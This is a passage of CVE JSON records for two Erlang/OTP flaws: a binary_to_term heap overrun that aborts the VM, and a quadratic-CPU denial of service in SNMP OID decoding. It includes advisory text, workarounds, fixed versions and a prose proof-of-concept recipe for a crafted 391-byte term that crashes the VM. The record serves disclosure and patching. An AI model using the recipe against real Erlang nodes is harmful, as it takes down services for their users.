                  "value": "Out-of-bounds Write vulnerability in the external term format decoder in Erlang OTP erts allows an attacker who controls the input to `binary_to_term/1,2` to abort the Erlang VM via a `NEWER_REFERENCE_EXT` term with a zero-length ID. `decoded_size` in `erts/emulator/beam/external.c` accepts a reference whose 16-bit `Len` field is zero, but `dec_term` always reads one ID word. `dec_term` then runs 4 bytes ahead of the position that `decoded_size` validated. It decodes the bytes that follow as terms that were never sized, and writes past the reserved process heap.\n\nThe abort takes down every process on the node. Supervision, `try`/`catch` and the `safe` option do not prevent it. `enif_binary_to_term()` and the distribution protocol reach the same decoder, and distribution is assumed to run on trusted networks only. `NEW_REFERENCE_EXT` also accepts a zero length, but its range check on the first ID word rejects the shifted input. On 32-bit builds, a zero-length reference of either type at the end of the input, followed by trailing bytes, can write one word past the reserved heap.\n\nThis issue affects OTP from OTP\u00a017.0 before OTP\u00a027.3.4.20, OTP\u00a028.5.0.9, and OTP\u00a029.1.3, corresponding to erts from 6.0 before 15.2.7.15, 16.4.0.8, and 17.1.2. Whether OTP before OTP\u00a017.0, corresponding to erts before 6.0, is affected is unknown."
                }
              ],
              "value": "Out-of-bounds Write vulnerability in the external term format decoder in Erlang OTP erts allows an attacker who controls the input to binary_to_term/1,2 to abort the Erlang VM via a NEWER_REFERENCE_EXT term with a zero-length ID. decoded_size in erts/emulator/beam/external.c accepts a reference whose 16-bit Len field is zero, but dec_term always reads one ID word. dec_term then runs 4 bytes ahead of the position that decoded_size validated. It decodes the bytes that follow as terms that were never sized, and writes past the reserved process heap.\n\nThe abort takes down every process on the node. Supervision, try/catch and the safe option do not prevent it. enif_binary_to_term() and the distribution protocol reach the same decoder, and distribution is assumed to run on trusted networks only. NEW_REFERENCE_EXT also accepts a zero length, but its range check on the first ID word rejects the shifted input. On 32-bit builds, a zero-length reference of either type at the end of the input, followed by trailing bytes, can write one word past the reserved heap.\n\nThis issue affects OTP from OTP\u00a017.0 before OTP\u00a027.3.4.20, OTP\u00a028.5.0.9, and OTP\u00a029.1.3, corresponding to erts from 6.0 before 15.2.7.15, 16.4.0.8, and 17.1.2. Whether OTP before OTP\u00a017.0, corresponding to erts before 6.0, is affected is unknown."
            }
          ],
          "impacts": [
            {
              "capecId": "CAPEC-100",
              "descriptions": [
                {
                  "lang": "en",
                  "supportingMedia": [
                    {
                      "base64": false,
                      "type": "text/html",
                      "value": "\u003cp\u003eAn attacker who can supply bytes to \u003ccode\u003ebinary_to_term/1,2\u003c/code\u003e or \u003ccode\u003eenif_binary_to_term()\u003c/code\u003e can abort the Erlang VM and stop every application on the node.\u003c/p\u003e"
                    },
                    {
                      "base64": false,
                      "type": "text/markdown",
                      "value": "An attacker who can supply bytes to `binary_to_term/1,2` or `enif_binary_to_term()` can abort the Erlang VM and stop every application on the node."
                    }
                  ],
                  "value": "An attacker who can supply bytes to binary_to_term/1,2 or enif_binary_to_term() can abort the Erlang VM and stop every application on the node."
                }
              ]
            }
          ],
          "metrics": [
            {
              "cvssV4_0": {
                "Automatable": "NOT_DEFINED",
                "Recovery": "NOT_DEFINED",
                "Safety": "NOT_DEFINED",
                "attackComplexity": "LOW",
                "attackRequirements": "NONE",
                "attackVector": "LOCAL",
                "baseScore": 7,
                "baseSeverity": "HIGH",
                "privilegesRequired": "NONE",
                "providerUrgency": "NOT_DEFINED",
                "subAvailabilityImpact": "NONE",
                "subConfidentialityImpact": "NONE",
                "subIntegrityImpact": "NONE",
                "userInteraction": "NONE",
                "valueDensity": "NOT_DEFINED",
                "vectorString": "CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:N/VC:L/VI:N/VA:H/SC:N/SI:N/SA:N",
                "version": "4.0",
                "vulnAvailabilityImpact": "HIGH",
                "vulnConfidentialityImpact": "LOW",
                "vulnIntegrityImpact": "NONE",
                "vulnerabilityResponseEffort": "NOT_DEFINED"
              },
              "format": "CVSS",
              "scenarios": [
                {
                  "lang": "en",
                  "value": "GENERAL"
                }
              ]
            }
          ],
          "problemTypes": [
            {
              "descriptions": [
                {
                  "cweId": "CWE-1284",
                  "description": "CWE-1284 Improper Validation of Specified Quantity in Input",
                  "lang": "en",
                  "type": "CWE"
                }
              ]
            },
            {
              "descriptions": [
                {
                  "cweId": "CWE-787",
                  "description": "CWE-787 Out-of-bounds Write",
                  "lang": "en",
                  "type": "CWE"
                }
              ]
            },
            {
              "descriptions": [
                {
                  "cweId": "CWE-125",
                  "description": "CWE-125 Out-of-bounds Read",
                  "lang": "en",
                  "type": "CWE"
                }
              ]
            }
          ],
          "providerMetadata": {
            "dateUpdated": "2026-11-24T15:08:20.708Z",
            "orgId": "6b3ad84c-e1a6-4bf7-a703-f496b71e49db",
            "shortName": "EEF"
          },
          "references": [
            {
              "name": "binary_to_term Heap Overrun via NEWER_REFERENCE_EXT with Zero ID Words Aborts the VM",
              "tags": [
                "vendor-advisory",
                "related"
              ],
              "url": "https://github.com/erlang/otp/security/advisories/GHSA-6qhv-446c-985v"
            },
            {
              "name": "EEF CNA record for CVE-2026-116293",
              "tags": [
                "related"
              ],
              "url": "https://cna.erlef.org/cves/CVE-2026-116293.html"
            },
            {
              "name": "OSV record EEF-CVE-2026-116293",
              "tags": [
                "related"
              ],
              "url": "https://osv.dev/vulnerability/EEF-CVE-2026-116293"
            },
            {
              "name": "Erlang/OTP version ordering",
              "tags": [
                "x_version-scheme"
              ],
              "url": "https://www.erlang.org/doc/system/versions.html#order-of-versions"
            },
            {
              "name": "Fix commit e5a9d3d in erlang/otp",
              "tags": [
                "patch"
              ],
              "url": "https://github.com/erlang/otp/commit/e5a9d3d141b8b5609803c3b78c8b420cd294ca82"
            }
          ],
          "source": {
            "discovery": "EXTERNAL"
          },
          "title": "binary_to_term Heap Overrun via NEWER_REFERENCE_EXT with Zero ID Words Aborts the VM",
          "workarounds": [
            {
              "lang": "en",
              "supportingMedia": [
                {
                  "base64": false,
                  "type": "text/html",
                  "value": "\u003cul\u003e\n\u003cli\u003eDo not call \u003ccode\u003ebinary_to_term/1,2\u003c/code\u003e on data from untrusted sources. The OTP Secure Coding Guidelines (DSG-011) recommend avoiding these functions altogether on untrusted data.\u003c/li\u003e\n\u003cli\u003eIf distribution is exposed to untrusted networks, configure it to use TLS with client certificate verification.\u003c/li\u003e\n\u003cli\u003eUse alternative serialization formats (JSON, Protocol Buffers) for untrusted external input.\nNote: the \u003ccode\u003e[safe]\u003c/code\u003e option to \u003ccode\u003ebinary_to_term/2\u003c/code\u003e does NOT protect against this crash. It only restricts atom creation, not structural validation of binary encodings.\u003c/li\u003e\n\u003c/ul\u003e"
                },
                {
                  "base64": false,
                  "type": "text/markdown",
                  "value": "* Do not call `binary_to_term/1,2` on data from untrusted sources. The OTP Secure Coding Guidelines (DSG-011) recommend avoiding these functions altogether on untrusted data.\n* If distribution is exposed to untrusted networks, configure it to use TLS with client certificate verification.\n* Use alternative serialization formats (JSON, Protocol Buffers) for untrusted external input.\nNote: the `[safe]` option to `binary_to_term/2` does NOT protect against this crash. It only restricts atom creation, not structural validation of binary encodings."
                }
              ],
              "value": "* Do not call binary_to_term/1,2 on data from untrusted sources. The OTP Secure Coding Guidelines (DSG-011) recommend avoiding these functions altogether on untrusted data.\n* If distribution is exposed to untrusted networks, configure it to use TLS with client certificate verification.\n* Use alternative serialization formats (JSON, Protocol Buffers) for untrusted external input. Note: the [safe] option to binary_to_term/2 does NOT protect against this crash. It only restricts atom creation, not structural validation of binary encodings."
            }
          ],
          "x_proofOfConcept": [
            {
              "lang": "en",
              "supportingMedia": [
                {
                  "base64": false,
                  "type": "text/html",
                  "value": "\u003col\u003e\n\u003cli\u003eBuild a \u003ccode\u003eNEWER_REFERENCE_EXT\u003c/code\u003e (tag 90) with \u003ccode\u003eLen\u003c/code\u003e 0, the node atom \u003ccode\u003enonode@nohost\u003c/code\u003e as \u003ccode\u003eSMALL_ATOM_UTF8_EXT\u003c/code\u003e, and a 4-byte creation for another node, for example 1.\u003c/li\u003e\n\u003cli\u003eBuild a \u003ccode\u003eBINARY_EXT\u003c/code\u003e (tag 109) whose payload starts with a 32-bit arity N, followed by N \u003ccode\u003eSMALL_INTEGER_EXT\u003c/code\u003e elements. Pad the payload so that the low byte of the 32-bit binary length is 105 (\u003ccode\u003eLARGE_TUPLE_EXT\u003c/code\u003e).\u003c/li\u003e\n\u003cli\u003eWrap both in a two-element \u003ccode\u003eSMALL_TUPLE_EXT\u003c/code\u003e after the version byte 131. With N = 40 the input is 391 bytes.\u003c/li\u003e\n\u003cli\u003eCall \u003ccode\u003ebinary_to_term/1\u003c/code\u003e, or \u003ccode\u003ebinary_to_term/2\u003c/code\u003e with \u003ccode\u003e[safe]\u003c/code\u003e, on the input. The VM aborts with \u003ccode\u003eheap overrun by 33 words(s)\u003c/code\u003e instead of raising \u003ccode\u003ebadarg\u003c/code\u003e.\u003c/li\u003e\n\u003c/ol\u003e"
                },
                {
                  "base64": false,
                  "type": "text/markdown",
                  "value": "1. Build a `NEWER_REFERENCE_EXT` (tag 90) with `Len` 0, the node atom `nonode@nohost` as `SMALL_ATOM_UTF8_EXT`, and a 4-byte creation for another node, for example 1.\n2. Build a `BINARY_EXT` (tag 109) whose payload starts with a 32-bit arity N, followed by N `SMALL_INTEGER_EXT` elements. Pad the payload so that the low byte of the 32-bit binary length is 105 (`LARGE_TUPLE_EXT`).\n3. Wrap both in a two-element `SMALL_TUPLE_EXT` after the version byte 131. With N = 40 the input is 391 bytes.\n4. Call `binary_to_term/1`, or `binary_to_term/2` with `[safe]`, on the input. The VM aborts with `heap overrun by 33 words(s)` instead of raising `badarg`."
                }
              ],
              "value": "* Build a NEWER_REFERENCE_EXT (tag 90) with Len 0, the node atom nonode@nohost as SMALL_ATOM_UTF8_EXT, and a 4-byte creation for another node, for example 1.\n* Build a BINARY_EXT (tag 109) whose payload starts with a 32-bit arity N, followed by N SMALL_INTEGER_EXT elements. Pad the payload so that the low byte of the 32-bit binary length is 105 (LARGE_TUPLE_EXT).\n* Wrap both in a two-element SMALL_TUPLE_EXT after the version byte 131. With N = 40 the input is 391 bytes.\n* Call binary_to_term/1, or binary_to_term/2 with [safe], on the input. The VM aborts with heap overrun by 33 words(s) instead of raising badarg."
            }
          ],
          "x_technicalAnalysis": [
            {
              "lang": "en",
              "supportingMedia": [
                {
                  "base64": false,
                  "type": "text/html",
                  "value": "\u003cp\u003e\u003cstrong\u003e1. Size pass.\u003c/strong\u003e \u003ccode\u003ebinary_to_term_int\u003c/code\u003e first calls \u003ccode\u003edecoded_size\u003c/code\u003e to reserve the process heap. For \u003ccode\u003eNEWER_REFERENCE_EXT\u003c/code\u003e, \u003ccode\u003edecoded_size\u003c/code\u003e rejects an ID-word count above \u003ccode\u003eERTS_MAX_REF_NUMBERS\u003c/code\u003e but not a count of zero. With \u003ccode\u003eLen\u003c/code\u003e 0 it skips the tag, the length, the node atom and the 4-byte creation, and no ID bytes.\u003c/p\u003e\n\u003cp\u003e\u003cstrong\u003e2. Decode pass.\u003c/strong\u003e \u003ccode\u003edec_term\u003c/code\u003e reads \u003ccode\u003eLen\u003c/code\u003e, the node atom and the creation, then reads the first ID word \u003ccode\u003er0\u003c/code\u003e without checking \u003ccode\u003eLen\u003c/code\u003e. From here \u003ccode\u003edec_term\u003c/code\u003e is 4 bytes ahead of the position \u003ccode\u003edecoded_size\u003c/code\u003e validated.\u003c/p\u003e\n\u003cp\u003e\u003cstrong\u003e3. Heap overrun.\u003c/strong\u003e In the reported input, the reference is followed by a \u003ccode\u003eBINARY_EXT\u003c/code\u003e. \u003ccode\u003edecoded_size\u003c/code\u003e treats the binary payload as opaque bytes. The shifted \u003ccode\u003edec_term\u003c/code\u003e consumes the binary tag and the top three length bytes as \u003ccode\u003er0\u003c/code\u003e, reads the low length byte (105, \u003ccode\u003eLARGE_TUPLE_EXT\u003c/code\u003e) as the next tag, and builds a tuple from the payload. The tuple-build loop stores past the heap that was reserved for a reference and a binary.\u003c/p\u003e\n\u003cp\u003e\u003cstrong\u003e4. Abort.\u003c/strong\u003e After \u003ccode\u003edec_term\u003c/code\u003e returns, \u003ccode\u003ebinary_to_term_int\u003c/code\u003e compares the heap pointer with the reserved end and calls \u003ccode\u003eerts_exit\u003c/code\u003e with \u003ccode\u003eheap overrun\u003c/code\u003e. That check runs after the out-of-bounds stores. Larger inputs can fault with SIGSEGV first.\u003c/p\u003e\n\u003cp\u003e\u003cstrong\u003e\u003ccode\u003eNEW_REFERENCE_EXT\u003c/code\u003e.\u003c/strong\u003e Tag 114 also accepts \u003ccode\u003eLen\u003c/code\u003e 0, but \u003ccode\u003edec_term\u003c/code\u003e rejects \u003ccode\u003er0 \u0026gt;= MAX_REFERENCE\u003c/code\u003e for that tag. A shifted \u003ccode\u003er0\u003c/code\u003e begins with a term tag byte, so the input fails with \u003ccode\u003ebadarg\u003c/code\u003e.\u003c/p\u003e"
                },
                {
                  "base64": false,
                  "type": "text/markdown",
                  "value": "**1. Size pass.** `binary_to_term_int` first calls `decoded_size` to reserve the process heap. For `NEWER_REFERENCE_EXT`, `decoded_size` rejects an ID-word count above `ERTS_MAX_REF_NUMBERS` but not a count of zero. With `Len` 0 it skips the tag, the length, the node atom and the 4-byte creation, and no ID bytes.\n\n**2. Decode pass.** `dec_term` reads `Len`, the node atom and the creation, then reads the first ID word `r0` without checking `Len`. From here `dec_term` is 4 bytes ahead of the position `decoded_size` validated.\n\n**3. Heap overrun.** In the reported input, the reference is followed by a `BINARY_EXT`. `decoded_size` treats the binary payload as opaque bytes. The shifted `dec_term` consumes the binary tag and the top three length bytes as `r0`, reads the low length byte (105, `LARGE_TUPLE_EXT`) as the next tag, and builds a tuple from the payload. The tuple-build loop stores past the heap that was reserved for a reference and a binary.\n\n**4. Abort.** After `dec_term` returns, `binary_to_term_int` compares the heap pointer with the reserved end and calls `erts_exit` with `heap overrun`. That check runs after the out-of-bounds stores. Larger inputs can fault with SIGSEGV first.\n\n**`NEW_REFERENCE_EXT`.** Tag 114 also accepts `Len` 0, but `dec_term` rejects `r0 \u003e= MAX_REFERENCE` for that tag. A shifted `r0` begins with a term tag byte, so the input fails with `badarg`."
                }
              ],
              "value": "1. Size pass. binary_to_term_int first calls decoded_size to reserve the process heap. For NEWER_REFERENCE_EXT, decoded_size rejects an ID-word count above ERTS_MAX_REF_NUMBERS but not a count of zero. With Len 0 it skips the tag, the length, the node atom and the 4-byte creation, and no ID bytes.\n\n2. Decode pass. dec_term reads Len, the node atom and the creation, then reads the first ID word r0 without checking Len. From here dec_term is 4 bytes ahead of the position decoded_size validated.\n\n3. Heap overrun. In the reported input, the reference is followed by a BINARY_EXT. decoded_size treats the binary payload as opaque bytes. The shifted dec_term consumes the binary tag and the top three length bytes as r0, reads the low length byte (105, LARGE_TUPLE_EXT) as the next tag, and builds a tuple from the payload. The tuple-build loop stores past the heap that was reserved for a reference and a binary.\n\n4. Abort. After dec_term returns, binary_to_term_int compares the heap pointer with the reserved end and calls erts_exit with heap overrun. That check runs after the out-of-bounds stores. Larger inputs can fault with SIGSEGV first.\n\nNEW_REFERENCE_EXT. Tag 114 also accepts Len 0, but dec_term rejects r0 \u003e= MAX_REFERENCE for that tag. A shifted r0 begins with a term tag byte, so the input fails with badarg."
            }
          ]
        }
      },
      "cveMetadata": {
        "assignerOrgId": "6b3ad84c-e1a6-4bf7-a703-f496b71e49db",
        "assignerShortName": "EEF",
        "cveId": "CVE-2026-116293",
        "datePublished": "2026-11-24T15:08:20.708Z",
        "dateReserved": "2026-10-26T09:45:01.452Z",
        "dateUpdated": "2026-11-24T15:08:20.708Z",
        "state": "PUBLISHED"
      },
      "dataType": "CVE_RECORD",
      "dataVersion": "5.2"
    }

    CVE-2026-116225 (GCVE-0-2026-116225)

    Vulnerability from cvelistv5 – Published: 2026-11-24 15:07 – Updated: 2026-11-24 15:07
    VLAI
    Title
    Quadratic CPU Denial of Service in SNMP BER Object Identifier Sub-Identifier Decoding
    Summary
    Improper Validation of Specified Quantity in Input vulnerability in the BER decoder in Erlang/OTP snmp allows an unauthenticated remote attacker to exhaust CPU via an SNMP message that contains an OBJECT IDENTIFIER with a very long sub-identifier. snmp_pdus:dec_oid_element/3 does not limit the number of base-128 octets in a sub-identifier, and snmp_pdus:dec_oid_elements/3 does not limit the number of sub-identifiers, so one sub-identifier can span the whole datagram. When the value exceeds the native integer size, each further octet copies a growing bignum, and decoding time grows quadratically with the sub-identifier length. The agent and the manager decode OIDs before they check community strings or SNMPv3 credentials, inside the single network interface process (snmpa_net_if or snmpm_net_if). That process does not read the next datagram until decoding completes. This issue affects OTP from OTP 17.0 before OTP 27.3.4.20, OTP 28.5.0.9, and OTP 29.1.3, corresponding to snmp from 4.25.1 before 5.18.2.3, 5.20.2.4, and 5.20.7. Whether OTP before OTP 17.0, corresponding to snmp before 4.25.1, is affected is unknown.
    CWE
    • CWE-1284 - Improper Validation of Specified Quantity in Input
    • CWE-770 - Allocation of Resources Without Limits or Throttling
    Assigner
    EEF CNA under the mitre root
    CNA scorecard A 97/100 over 376 records in the last 180 days details
    Impacted products
    Vendor Product Version
    Erlang OTP Affected: 4.25.1 , < * (otp)
        cpe:2.3:a:erlang:erlang\/otp:*:*:*:*:*:*:*:*
    Create a notification for this product.
    Erlang OTP Affected: 17.0 , < * (otp)
        cpe:2.3:a:erlang:erlang\/otp:*:*:*:*:*:*:*:*
    Create a notification for this product.
    Erlang OTP Affected: 84adefa331c4159d432d22840663c38f155cd4c1 , < * (git)
    Unaffected: 6f8c1044d17bfaa9112bf3cd471cec0d61e146ca , < * (git)
    Unaffected: 8c5cd9bc6b7a9c8fdea060b0cf19a4e4a069350f , < * (git)
    Unaffected: a1bfce6a034b5cbb17f85b3eea2f601c7a691805 , < * (git)
        cpe:2.3:a:erlang:erlang\/otp:*:*:*:*:*:*:*:*
    Create a notification for this product.
    Date Public
    2026-11-24 15:07
    Show details on NVD website

    {
      "containers": {
        "cna": {
          "affected": [
            {
              "cpes": [
                "cpe:2.3:a:erlang:erlang\\/otp:*:*:*:*:*:*:*:*"
              ],
              "defaultStatus": "unknown",
              "modules": [
                "snmp_pdus"
              ],
              "packageName": "snmp",
              "packageURL": "pkg:otp/snmp?repository_url=https:%2F%2Fgithub.com%2Ferlang%2Fotp\u0026vcs_url=git%2Bhttps:%2F%2Fgithub.com%2Ferlang%2Fotp.git",
              "product": "OTP",
              "programFiles": [
                "src/misc/snmp_pdus.erl"
              ],
              "programRoutines": [
                {
                  "name": "snmp_pdus:dec_oid_element/3"
                },
                {
                  "name": "snmp_pdus:dec_oid_elements/3"
                },
                {
                  "name": "snmp_pdus:dec_oid_notag/1"
                },
                {
                  "name": "snmp_pdus:dec_pdu/1"
                },
                {
                  "name": "snmp_pdus:dec_scoped_pdu/1"
                },
                {
                  "name": "snmp_pdus:dec_message/1"
                }
              ],
              "repo": "https://github.com/erlang/otp",
              "vendor": "Erlang",
              "versions": [
                {
                  "changes": [
                    {
                      "at": "5.18.2.3",
                      "status": "unaffected"
                    },
                    {
                      "at": "5.20.2.4",
                      "status": "unaffected"
                    },
                    {
                      "at": "5.20.7",
                      "status": "unaffected"
                    }
                  ],
                  "lessThan": "*",
                  "status": "affected",
                  "version": "4.25.1",
                  "versionType": "otp"
                }
              ]
            },
            {
              "cpes": [
                "cpe:2.3:a:erlang:erlang\\/otp:*:*:*:*:*:*:*:*"
              ],
              "defaultStatus": "unknown",
              "modules": [
                "snmp_pdus"
              ],
              "packageName": "otp",
              "packageURL": "pkg:software-id/erlang.org/otp",
              "product": "OTP",
              "programFiles": [
                "lib/snmp/src/misc/snmp_pdus.erl"
              ],
              "programRoutines": [
                {
                  "name": "snmp_pdus:dec_oid_element/3"
                },
                {
                  "name": "snmp_pdus:dec_oid_elements/3"
                },
                {
                  "name": "snmp_pdus:dec_oid_notag/1"
                },
                {
                  "name": "snmp_pdus:dec_pdu/1"
                },
                {
                  "name": "snmp_pdus:dec_scoped_pdu/1"
                },
                {
                  "name": "snmp_pdus:dec_message/1"
                }
              ],
              "vendor": "Erlang",
              "versions": [
                {
                  "changes": [
                    {
                      "at": "27.3.4.20",
                      "status": "unaffected"
                    },
                    {
                      "at": "28.5.0.9",
                      "status": "unaffected"
                    },
                    {
                      "at": "29.1.3",
                      "status": "unaffected"
                    }
                  ],
                  "lessThan": "*",
                  "status": "affected",
                  "version": "17.0",
                  "versionType": "otp"
                }
              ]
            },
            {
              "collectionURL": "https://github.com",
              "cpes": [
                "cpe:2.3:a:erlang:erlang\\/otp:*:*:*:*:*:*:*:*"
              ],
              "defaultStatus": "unknown",
              "modules": [
                "snmp_pdus"
              ],
              "packageName": "erlang/otp",
              "packageURL": "pkg:github/erlang/otp",
              "product": "OTP",
              "programFiles": [
                "lib/snmp/src/misc/snmp_pdus.erl"
              ],
              "programRoutines": [
                {
                  "name": "snmp_pdus:dec_oid_element/3"
                },
                {
                  "name": "snmp_pdus:dec_oid_elements/3"
                },
                {
                  "name": "snmp_pdus:dec_oid_notag/1"
                },
                {
                  "name": "snmp_pdus:dec_pdu/1"
                },
                {
                  "name": "snmp_pdus:dec_scoped_pdu/1"
                },
                {
                  "name": "snmp_pdus:dec_message/1"
                }
              ],
              "repo": "https://github.com/erlang/otp",
              "vendor": "Erlang",
              "versions": [
                {
                  "changes": [
                    {
                      "at": "6f8c1044d17bfaa9112bf3cd471cec0d61e146ca",
                      "status": "unaffected"
                    },
                    {
                      "at": "8c5cd9bc6b7a9c8fdea060b0cf19a4e4a069350f",
                      "status": "unaffected"
                    },
                    {
                      "at": "a1bfce6a034b5cbb17f85b3eea2f601c7a691805",
                      "status": "unaffected"
                    }
                  ],
                  "lessThan": "*",
                  "status": "affected",
                  "version": "84adefa331c4159d432d22840663c38f155cd4c1",
                  "versionType": "git"
                },
                {
                  "lessThan": "*",
                  "status": "unaffected",
                  "version": "6f8c1044d17bfaa9112bf3cd471cec0d61e146ca",
                  "versionType": "git"
                },
                {
                  "lessThan": "*",
                  "status": "unaffected",
                  "version": "8c5cd9bc6b7a9c8fdea060b0cf19a4e4a069350f",
                  "versionType": "git"
                },
                {
                  "lessThan": "*",
                  "status": "unaffected",
                  "version": "a1bfce6a034b5cbb17f85b3eea2f601c7a691805",
                  "versionType": "git"
                }
              ]
            }
          ],
          "cpeApplicability": [
            {
              "nodes": [
                {
                  "cpeMatch": [
                    {
                      "criteria": "cpe:2.3:a:erlang:erlang\\/otp:*:*:*:*:*:*:*:*",
                      "versionEndExcluding": "27.3.4.20",
                      "vulnerable": true
                    },
                    {
                      "criteria": "cpe:2.3:a:erlang:erlang\\/otp:*:*:*:*:*:*:*:*",
                      "versionEndExcluding": "28.5.0.9",
                      "versionStartIncluding": "28.0",
                      "vulnerable": true
                    },
                    {
                      "criteria": "cpe:2.3:a:erlang:erlang\\/otp:*:*:*:*:*:*:*:*",
                      "versionEndExcluding": "29.1.3",
                      "versionStartIncluding": "29.0",
                      "vulnerable": true
                    }
                  ],
                  "negate": false,
                  "operator": "OR"
                }
              ],
              "operator": "AND"
            }
          ],
          "credits": [
            {
              "lang": "en",
              "type": "finder",
              "value": "Lukas Backstr\u00f6m"
            },
            {
              "lang": "en",
              "type": "reporter",
              "value": "Konrad Pietrzak"
            },
            {
              "lang": "en",
              "type": "coordinator",
              "value": "Ingela Anderton Andin"
            },
            {
              "lang": "en",
              "type": "coordinator",
              "value": "Jonatan M\u00e4nnchen / EEF"
            },
            {
              "lang": "en",
              "type": "remediation developer",
              "value": "Konrad Pietrzak"
            }
          ],
          "dateAssigned": "2026-10-28T15:16:56.000Z",
          "datePublic": "2026-11-24T15:07:27.000Z",
          "descriptions": [
            {
              "lang": "en",
              "supportingMedia": [
                {
                  "base64": false,
                  "type": "text/html",
                  "value": "\u003cp\u003eImproper Validation of Specified Quantity in Input vulnerability in the BER decoder in Erlang/OTP snmp allows an unauthenticated remote attacker to exhaust CPU via an SNMP message that contains an OBJECT IDENTIFIER with a very long sub-identifier.\u003c/p\u003e\n\u003cp\u003e\u003ccode\u003esnmp_pdus:dec_oid_element/3\u003c/code\u003e does not limit the number of base-128 octets in a sub-identifier, and \u003ccode\u003esnmp_pdus:dec_oid_elements/3\u003c/code\u003e does not limit the number of sub-identifiers, so one sub-identifier can span the whole datagram. When the value exceeds the native integer size, each further octet copies a growing bignum, and decoding time grows quadratically with the sub-identifier length. The agent and the manager decode OIDs before they check community strings or SNMPv3 credentials, inside the single network interface process (\u003ccode\u003esnmpa_net_if\u003c/code\u003e or \u003ccode\u003esnmpm_net_if\u003c/code\u003e). That process does not read the next datagram until decoding completes.\u003c/p\u003e\n\u003cp\u003eThis issue affects OTP from OTP\u0026nbsp;17.0 before OTP\u0026nbsp;27.3.4.20, OTP\u0026nbsp;28.5.0.9, and OTP\u0026nbsp;29.1.3, corresponding to snmp from 4.25.1 before 5.18.2.3, 5.20.2.4, and 5.20.7. Whether OTP before OTP\u0026nbsp;17.0, corresponding to snmp before 4.25.1, is affected is unknown.\u003c/p\u003e"
                },
                {
                  "base64": false,
                  "type": "text/markdown",
                  "value": "Improper Validation of Specified Quantity in Input vulnerability in the BER decoder in Erlang/OTP snmp allows an unauthenticated remote attacker to exhaust CPU via an SNMP message that contains an OBJECT IDENTIFIER with a very long sub-identifier.\n\n`snmp_pdus:dec_oid_element/3` does not limit the number of base-128 octets in a sub-identifier, and `snmp_pdus:dec_oid_elements/3` does not limit the number of sub-identifiers, so one sub-identifier can span the whole datagram. When the value exceeds the native integer size, each further octet copies a growing bignum, and decoding time grows quadratically with the sub-identifier length. The agent and the manager decode OIDs before they check community strings or SNMPv3 credentials, inside the single network interface process (`snmpa_net_if` or `snmpm_net_if`). That process does not read the next datagram until decoding completes.\n\nThis issue affects OTP from OTP\u00a017.0 before OTP\u00a027.3.4.20, OTP\u00a028.5.0.9, and OTP\u00a029.1.3, corresponding to snmp from 4.25.1 before 5.18.2.3, 5.20.2.4, and 5.20.7. Whether OTP before OTP\u00a017.0, corresponding to snmp before 4.25.1, is affected is unknown."
                }
              ],
              "value": "Improper Validation of Specified Quantity in Input vulnerability in the BER decoder in Erlang/OTP snmp allows an unauthenticated remote attacker to exhaust CPU via an SNMP message that contains an OBJECT IDENTIFIER with a very long sub-identifier.\n\nsnmp_pdus:dec_oid_element/3 does not limit the number of base-128 octets in a sub-identifier, and snmp_pdus:dec_oid_elements/3 does not limit the number of sub-identifiers, so one sub-identifier can span the whole datagram. When the value exceeds the native integer size, each further octet copies a growing bignum, and decoding time grows quadratically with the sub-identifier length. The agent and the manager decode OIDs before they check community strings or SNMPv3 credentials, inside the single network interface process (snmpa_net_if or snmpm_net_if). That process does not read the next datagram until decoding completes.\n\nThis issue affects OTP from OTP\u00a017.0 before OTP\u00a027.3.4.20, OTP\u00a028.5.0.9, and OTP\u00a029.1.3, corresponding to snmp from 4.25.1 before 5.18.2.3, 5.20.2.4, and 5.20.7. Whether OTP before OTP\u00a017.0, corresponding to snmp before 4.25.1, is affected is unknown."
            }
          ],
          "impacts": [
            {
              "capecId": "CAPEC-231",
              "descriptions": [
                {
                  "lang": "en",
                  "supportingMedia": [
                    {
                      "base64": false,
                      "type": "text/html",
                      "value": "\u003cp\u003eAn unauthenticated remote attacker who can send UDP datagrams to an SNMP agent or manager can keep its network interface process busy with a low rate of crafted messages. The agent or manager then stops processing legitimate SNMP traffic while the attack continues.\u003c/p\u003e"
                    },
                    {
                      "base64": false,
                      "type": "text/markdown",
                      "value": "An unauthenticated remote attacker who can send UDP datagrams to an SNMP agent or manager can keep its network interface process busy with a low rate of crafted messages. The agent or manager then stops processing legitimate SNMP traffic while the attack continues."
                    }
                  ],
                  "value": "An unauthenticated remote attacker who can send UDP datagrams to an SNMP agent or manager can keep its network interface process busy with a low rate of crafted messages. The agent or manager then stops processing legitimate SNMP traffic while the attack continues."
                }
              ]
            }
          ],
          "metrics": [
            {
              "cvssV4_0": {
                "Automatable": "NOT_DEFINED",
                "Recovery": "NOT_DEFINED",
                "Safety": "NOT_DEFINED",
                "attackComplexity": "LOW",
                "attackRequirements": "NONE",
                "attackVector": "NETWORK",
                "baseScore": 8.7,
                "baseSeverity": "HIGH",
                "privilegesRequired": "NONE",
                "providerUrgency": "NOT_DEFINED",
                "subAvailabilityImpact": "NONE",
                "subConfidentialityImpact": "NONE",
                "subIntegrityImpact": "NONE",
                "userInteraction": "NONE",
                "valueDensity": "NOT_DEFINED",
                "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
                "version": "4.0",
                "vulnAvailabilityImpact": "HIGH",
                "vulnConfidentialityImpact": "NONE",
                "vulnIntegrityImpact": "NONE",
                "vulnerabilityResponseEffort": "NOT_DEFINED"
              },
              "format": "CVSS",
              "scenarios": [
                {
                  "lang": "en",
                  "value": "GENERAL"
                }
              ]
            }
          ],
          "problemTypes": [
            {
              "descriptions": [
                {
                  "cweId": "CWE-1284",
                  "description": "CWE-1284 Improper Validation of Specified Quantity in Input",
                  "lang": "en",
                  "type": "CWE"
                }
              ]
            },
            {
              "descriptions": [
                {
                  "cweId": "CWE-770",
                  "description": "CWE-770 Allocation of Resources Without Limits or Throttling",
                  "lang": "en",
                  "type": "CWE"
                }
              ]
            }
          ],
          "providerMetadata": {
            "dateUpdated": "2026-11-24T15:07:29.123Z",
            "orgId": "6b3ad84c-e1a6-4bf7-a703-f496b71e49db",
            "shortName": "EEF"
          },
          "references": [
            {
              "name": "Quadratic CPU Denial of Service in SNMP BER Object Identifier Sub-Identifier Decoding",
              "tags": [
                "vendor-advisory",
                "related"
              ],
              "url": "https://github.com/erlang/otp/security/advisories/GHSA-9p2q-5p4x-rhpq"
            },
            {
              "name": "EEF CNA record for CVE-2026-116225",
              "tags": [
